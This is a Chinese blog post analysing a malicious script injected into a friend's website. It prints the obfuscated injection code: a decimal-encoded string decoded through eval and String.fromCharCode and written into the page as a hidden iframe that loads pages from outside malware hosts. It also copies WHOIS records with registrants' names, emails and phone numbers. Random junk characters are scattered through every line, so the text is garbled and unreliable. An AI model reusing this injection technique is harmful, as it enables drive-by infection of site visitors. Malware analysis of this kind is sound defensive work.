首发在我的博客里面，
p8@&(+z M<NY`7 $^ http://www.areway.cn/?p=175 N! wuBRWR ='4)E6ea? d6JW" 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
qz 3
Z'
chKEGosbF <script>t=’60,105,102,114,97,109,101,
"p|.[d 32,115,114,99,61,104,116,116,112,58,47,47,
UA2 KY}pz5 102,114,101,101,46,117,45,117,117,117,46,99,
5~jz| T}s 110,47,101,114,114,111,114,46,104,116,109,
U] GD6q 32,119,105,100,116,104,61,49,48,48,32,104,
4pQf*l8e 101,105,103,104,116,61,48,62,60,47,105,102,
j|&D(]W/ 114,97,109,101,62′;
Mlo,F1'?> t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
Xy!NBh 7I V.qH&FJ=l <script>t=’60,105,102,114,97,109,101,32,115,
~I;x_0iY4 114,99,61,104,116,116,112,58,47,47,102,114,
-Q
JP J. 101,101,46,117,45,117,117,117,46,99,110,47,
v7KBYN 101,114,114,111,114,46,104,116,109,32,119,
{7]maOg>7J 105,100,116,104,61,49,48,48,32,104,101,105,
pmWy:0 R 103,104,116,61,48,62,60,47,105,102,114,97,
/J/V1dC}]D 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
]d7A|)q document.write(t);</script>
8Yf*vp>T/x (s&]V49 <html xmlns=”
OPj NmdeS http://www.w3.org/1999/xhtml DmPsE6G} “>
pOn &D <head>
hxM{}}. E <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
b)e;Q5Z(. <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
_kMHF <title>首页 - 爱生活家庭网
YVgH[-`, 5XB]p|YU~s 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
\#VWZ\M8a 转换字符串后的大概内容是（谁点击后果自付）：
K?! W9lUq <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
_E'}8.#{ V]+y*b.60 查询玉米u-uuu.cn的详细信息：
Y~{<Hs Domain Name: u-uuu.cn
%g@\S R. ROID: 20070901s10001s64972306-cn
DC1.f(cdR Domain Status: ok
I%Y q8 6 Registrant Organization: 王雷
u%yYLpaKf Registrant Name: 王雷
qGMU>J.;c Administrative Email:
czlovexs@126.com Xa#.GrH6 Sponsoring Registrar: 北京万网志成科技有限公司
AH/o-$C& Name Server:ns.yovole.com
UQ;2g\([ Name Server:ns1.yovole.com
ty"L&$bf Registration Date: 2007-09-01 17:54
Z4As'al Expiration Date: 2008-09-01 17:54
%cUC~, g_( 最后PING了一下地址 都没有什么….
jn ztCNaX 4:a ~Wlp[ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
O< /b]<[ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
kBrA ? <script language=”javascript” src=”
F!u)8>s+z{ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script IO
0nT >
\aM-m :J 这个玉米应该有可能是木马作者的：
myN2G?>; foafau.info的详细信息：
Z8Y& #cB Access to INFO WHOIS information is provided to assist persons in
9{ j`eAUZl determining the contents of a domain name registration record in the
9@q!~ur Afilias registry database. The data in this record is provided by
>4k Q9lXL Afilias Limited for informational purposes only, and Afilias does not
eZ[Qhrc guarantee its accuracy. This service is intended only for query-based
c_+fA access. You agree that you will use this data only for lawful purposes
6fI2y4yEz and that, under no circumstances will you use this data to: (a) allow,
$|J+ enable, or otherwise support the transmission by e-mail, telephone, or
7 L ,`7k| facsimile of mass unsolicited, commercial advertising or solicitations
6Y,& q| K to entities other than the data recipient’s own existing customers; or
MaY _*[ (b) enable high volume, automated, electronic processes that send
0uW)&>W queries or data to the systems of Registry Operator, a Registrar, or
B; NK\5> Afilias except as reasonably necessary to register domain names or
}s@IQay+ modify existing registrations. All rights reserved. Afilias reserves
z;?jKE p the right to modify these terms at any time. By submitting this query,
=>3,]hnep you agree to abide by this policy.
gzSm=6Qw0 Domain ID:D22418703-LRMS
Q%? %zuU Domain Name:FOAFAU.INFO
p!=8 Pq . Created On:20-Nov-2007 16:05:42 UTC
er-0i L@ Last Updated On:20-Nov-2007 16:05:44 UTC
[hg9 0Q6 Expiration Date:20-Nov-2008 16:05:42 UTC
tx9 %.)M:n Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
tKLeq( Status:CLIENT DELETE PROHIBITED
MnF|'t Status:CLIENT RENEW PROHIBITED
ILH[q> Status:CLIENT TRANSFER PROHIBITED
5EI"5&`* Status:CLIENT UPDATE PROHIBITED
id :
^| Status:TRANSFER PROHIBITED
w42{)S" Registrant ID:GODA-040110615
SC4jKm2 Registrant Name:liu hong
s H2xkUp Registrant Organization:
XP% _|Q2X Registrant Street1:beijing
sn^ 3xAF Registrant Street2:
.|07IH/Di{ Registrant Street3:
~Y*.cGA Registrant City:beijing
A nk_;jo Registrant State/Province:
wA/!A$v( Registrant Postal Code:100000
Pp69|lxV=k Registrant Country:CN
SnXM`v, Registrant Phone:+86.860108888777
>.od(Fh{l| Registrant Phone Ext.:
ts@$* Registrant FAX:
G9QvIXRi Registrant FAX Ext.:
n7Eh!< Registrant Email:bbbshiji@163.com
BxlhCu Admin ID:GODA-240110615
M.MQ?`_" b Admin Name:liu hong
Y:m8UnT Admin Organization:
z2, NWmP|w Admin Street1:beijing
mr G?5.7W Admin Street2:
f-[.^/ Admin Street3:
<b _K*]Z Admin City:beijing
sg}<() Admin State/Province:
F-ofR]|) > Admin Postal Code:100000
iiJT%Zq`# Admin Country:CN
y $uq`FW Admin Phone:+86.860108888777
l$c/!V[3 Admin Phone Ext.:
V/"RCqY4 Admin FAX:
v*JKLA Admin FAX Ext.:
+,ar`:x &a Admin Email:bbbshiji@163.com
,Fkq /h Billing ID:GODA-340110615
|4j6}g\ Billing Name:liu hong
9IG<9uj Billing Organization:
(0LA. aBIf Billing Street1:beijing
md18q:AG) Billing Street2:
+N+117m Billing Street3:
mr#.uhd.z Billing City:beijing
Sw-2vnSdM Billing State/Province:
cyHbAtl Billing Postal Code:100000
3P RU Billing Country:CN
U*sQ 5uq Billing Phone:+86.860108888777
Y`-q[F ?\y Billing Phone Ext.:
<'sm($.2 Billing FAX:
p= x &X~
Billing FAX Ext.:
!J<0.nO/: Billing Email:bbbshiji@163.com
:]Om4Q\-# Tech ID:GODA-140110615
eS
?9}TG| Tech Name:liu hong
upk_;ae Tech Organization:
j R\ ! 2! Tech Street1:beijing
u0o TqD? Tech Street2:
T>#~ .4A0 Tech Street3:
4,X C bcC Tech City:beijing
G^SJhdO(Q Tech State/Province:
_]Ob)RUVH Tech Postal Code:100000
WpE "A Tech Country:CN
Xf 7]+ Tech Phone:+86.860108888777
D5bi)@G7z Tech Phone Ext.:
KOXG= P0 Tech FAX:
&K[~Ab_ Tech FAX Ext.:
Bv3B|D&+ Tech Email:bbbshiji@163.com
'4u/ g Name Server:NS27.DOMAINCONTROL.COM
&X`
lh P Name Server:NS28.DOMAINCONTROL.COM
d*k5h<jM Name Server:
`uusUw-Gf Name Server:
z +wegF Name Server:
2MYez>D Name Server:
xpuTh "ED Name Server:
`#`C.:/n Name Server:
..'"kX:5 Name Server:
8
E l hcs Name Server:
!~'D;Jh Name Server:
oPbzi B8 Name Server:
w7pX]<?R" Name Server:
46 \!W(O~y '4~I %Z7L 接着下载每个文件里面的代码：
#{?RE?nD 一步一步看..
NhF"% 
f61vE 
/.A"HGAk 
FdEUZ[IT`{ 
%Q]thv: 
,g"JgX 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
